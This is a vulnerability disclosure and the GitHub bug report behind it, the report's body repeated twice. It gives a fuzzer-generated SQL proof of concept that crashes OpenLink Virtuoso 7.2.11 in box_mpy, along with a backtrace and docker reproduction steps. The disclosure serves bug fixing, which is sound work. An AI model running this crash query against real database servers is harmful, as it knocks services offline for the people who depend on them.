An issue in the box_mpy function of openlink virtuoso-opensource v7.2.11 allows attackers to cause a Denial of Service (DoS) after running a SELECT statement.
The PoC is generated by my DBMS fuzzer.
```SQL
CREATE TABLE v0 ( v1 INT ) ; 
  INSERT INTO v0 VALUES ( 2147483647 ) ; 
  INSERT INTO v0 VALUES ( -1 ) ; 
  INSERT INTO v0 ( v1 , v1 , v1 ) SELECT 54 , v1 , -128 FROM v0 AS v4 , v0 , v0 AS v3 NATURAL JOIN v0 AS v2 ; 
  UPDATE v0 SET v1 = NULL WHERE ( v1 * 2147483647 , CASE WHEN v1 = 'x' THEN 75 WHEN DENSE_RANK ( 'x' ) THEN 25942677.000000 END + 16 * 127 ) IN ( SELECT v1 FROM v0 WHERE v1 >= 127 AND ( v1 * 16 , v1 , ( SELECT v1 FROM v0 WHERE ( v1 , v1 ) IN ( SELECT v1 , v1 AS v8 FROM v0 AS v6 NATURAL JOIN v0 AS v7 NATURAL JOIN v0 AS v5 NATURAL JOIN v0 WHERE v1 ) ORDER BY v1 ) ) - 'x' GROUP BY 48002391.000000 ) ; 
```

backtrace:
```c
#0 0xc201b3 (box_mpy+0x83)
#1 0x754c6e (code_vec_run_v+0x19be)
#2 0x7b86bb (end_node_input+0x13b)
#3 0x7af05e (qn_input+0x3ce)
#4 0x7af78f (qn_ts_send_output+0x23f)
#5 0x7b509e (table_source_input+0x16ee)
#6 0x7af05e (qn_input+0x3ce)
#7 0x44c979 (chash_fill_input+0x589)
#8 0x5370af (hash_fill_node_input+0xef)
#9 0x7af05e (qn_input+0x3ce)
#10 0x7af4c6 (qn_send_output+0x236)
#11 0x44c52e (chash_fill_input+0x13e)
#12 0x5370af (hash_fill_node_input+0xef)
#13 0x7af05e (qn_input+0x3ce)
#14 0x7af4c6 (qn_send_output+0x236)
#15 0x44c52e (chash_fill_input+0x13e)
#16 0x5370af (hash_fill_node_input+0xef)
#17 0x7af05e (qn_input+0x3ce)
#18 0x7af4c6 (qn_send_output+0x236)
#19 0x8214bd (set_ctr_vec_input+0x99d)
#20 0x7af05e (qn_input+0x3ce)
#21 0x7c1be9 (qr_dml_array_exec+0x839)
#22 0x7ce602 (sf_sql_execute+0x15d2)
#23 0x7cecde (sf_sql_execute_w+0x17e)
#24 0x7d799d (sf_sql_execute_wrapper+0x3d)
#25 0xe214bc (future_wrapper+0x3fc)
#26 0xe28dbe (_thread_boot+0x11e)
#27 0x7fa2b8a15609 (start_thread+0xd9)
#28 0x7fa2b87e5133 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.11
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
Fuzzer: Virtuoso 7.2.11 crashed at box_mpy
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : Fuzzer: Virtuoso 7.2.11 crashed at box_mpy
Issue date:

--- start body ---
The PoC is generated by my DBMS fuzzer.
```SQL
CREATE TABLE v0 ( v1 INT ) ; 
  INSERT INTO v0 VALUES ( 2147483647 ) ; 
  INSERT INTO v0 VALUES ( -1 ) ; 
  INSERT INTO v0 ( v1 , v1 , v1 ) SELECT 54 , v1 , -128 FROM v0 AS v4 , v0 , v0 AS v3 NATURAL JOIN v0 AS v2 ; 
  UPDATE v0 SET v1 = NULL WHERE ( v1 * 2147483647 , CASE WHEN v1 = 'x' THEN 75 WHEN DENSE_RANK ( 'x' ) THEN 25942677.000000 END + 16 * 127 ) IN ( SELECT v1 FROM v0 WHERE v1 >= 127 AND ( v1 * 16 , v1 , ( SELECT v1 FROM v0 WHERE ( v1 , v1 ) IN ( SELECT v1 , v1 AS v8 FROM v0 AS v6 NATURAL JOIN v0 AS v7 NATURAL JOIN v0 AS v5 NATURAL JOIN v0 WHERE v1 ) ORDER BY v1 ) ) - 'x' GROUP BY 48002391.000000 ) ; 
```

backtrace:
```c
#0 0xc201b3 (box_mpy+0x83)
#1 0x754c6e (code_vec_run_v+0x19be)
#2 0x7b86bb (end_node_input+0x13b)
#3 0x7af05e (qn_input+0x3ce)
#4 0x7af78f (qn_ts_send_output+0x23f)
#5 0x7b509e (table_source_input+0x16ee)
#6 0x7af05e (qn_input+0x3ce)
#7 0x44c979 (chash_fill_input+0x589)
#8 0x5370af (hash_fill_node_input+0xef)
#9 0x7af05e (qn_input+0x3ce)
#10 0x7af4c6 (qn_send_output+0x236)
#11 0x44c52e (chash_fill_input+0x13e)
#12 0x5370af (hash_fill_node_input+0xef)
#13 0x7af05e (qn_input+0x3ce)
#14 0x7af4c6 (qn_send_output+0x236)
#15 0x44c52e (chash_fill_input+0x13e)
#16 0x5370af (hash_fill_node_input+0xef)
#17 0x7af05e (qn_input+0x3ce)
#18 0x7af4c6 (qn_send_output+0x236)
#19 0x8214bd (set_ctr_vec_input+0x99d)
#20 0x7af05e (qn_input+0x3ce)
#21 0x7c1be9 (qr_dml_array_exec+0x839)
#22 0x7ce602 (sf_sql_execute+0x15d2)
#23 0x7cecde (sf_sql_execute_w+0x17e)
#24 0x7d799d (sf_sql_execute_wrapper+0x3d)
#25 0xe214bc (future_wrapper+0x3fc)
#26 0xe28dbe (_thread_boot+0x11e)
#27 0x7fa2b8a15609 (start_thread+0xd9)
#28 0x7fa2b87e5133 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.11
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
--- end body ---
